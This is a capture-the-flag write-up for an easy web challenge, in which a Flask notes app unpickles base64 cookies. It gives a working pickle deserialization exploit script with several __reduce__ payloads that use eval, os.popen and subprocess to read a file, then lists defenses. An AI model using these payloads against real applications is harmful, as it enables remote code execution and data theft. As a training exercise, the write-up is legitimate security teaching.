Соленый огурец (Salty Pickle)
Соленый огурец (Salty Pickle)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Cookie-based payload injection, Insecure Pickle Deserialization, RCE via reduce method
Summary
Task: Flask notes app stores data in pickle-serialized cookies. Solution: Exploit insecure pickle deserialization via reduce method to achieve RCE and read the flag.
Соленый огурец (Salty Pickle) — hackerlab.pro
Description
Примитивный сервис хранения заметок с урезанным функционалом, но через что он идентифицирует пользователей?
Flask application source code provided (app.py and templates/index.html).
Analysis
Vulnerable Code
python read-only • copy allowedfrom flask import Flask, request, make_response, redirect, render_template import pickle import base64 @app.route('/') def index(): notes = request.cookies.get('notes') if notes: all_notes = pickle.loads(base64.b64decode(notes)) # VULNERABLE! return render_template('index.html', notes=all_notes)
Problem: The application stores user notes in a notes cookie as base64-encoded pickle data. When loading the page, the cookie is deserialized without any validation.
Hint in the Name
The task name "Соленый огурец" (Salty Pickle) is a wordplay:
- "Pickle" in English means "pickled cucumber"
- Python pickle — a serialization module with known vulnerabilities
Solution
Step 1: Understanding the Vulnerability
Python pickle allows arbitrary code execution during deserialization via the __reduce__ method. This method returns a tuple (callable, args) that gets called during unpickling.
Step 2: Creating the Payload
Important nuance: the application expects all_notes to be an iterable object (list), since the template iterates over notes. Therefore, the payload must return a list.
python read-only • copy allowedclass RCE: def __reduce__(self): return (eval, ("[open('./flag.txt').read()]",))
Here:
eval— the function that will be called"[open('./flag.txt').read()]"— the argument that reads the flag and wraps it in a list
Step 3: Exploitation
python read-only • copy allowedimport pickle import base64 import requests TARGET = "http://62.173.140.174:16040" class RCE: def __reduce__(self): return (eval, ("[open('./flag.txt').read()]",)) # Create malicious pickle payload = pickle.dumps(RCE()) encoded = base64.b64encode(payload).decode() # Send as cookie resp = requests.get(TARGET, cookies={"notes": encoded}) print(resp.text)
Result
The flag is displayed as a "note" on the page:
CODEBY{REDACTED}
Alternative Payloads
Via os.popen (if shell is needed):
python read-only • copy allowedclass RCE: def __reduce__(self): import os return (eval, ("__import__('os').popen('cat flag.txt').read().split()",))
Via subprocess:
python read-only • copy allowedclass RCE: def __reduce__(self): return (eval, ("__import__('subprocess').check_output(['cat','flag.txt']).decode().split()",))
Defense
- Never use pickle for untrusted data
- Use safe formats: JSON, MessagePack
- If pickle is necessary — use HMAC for signing
- Apply class allowlist during deserialization
References
- Python Pickle Security
- Exploiting Python Pickle
- OWASP Deserialization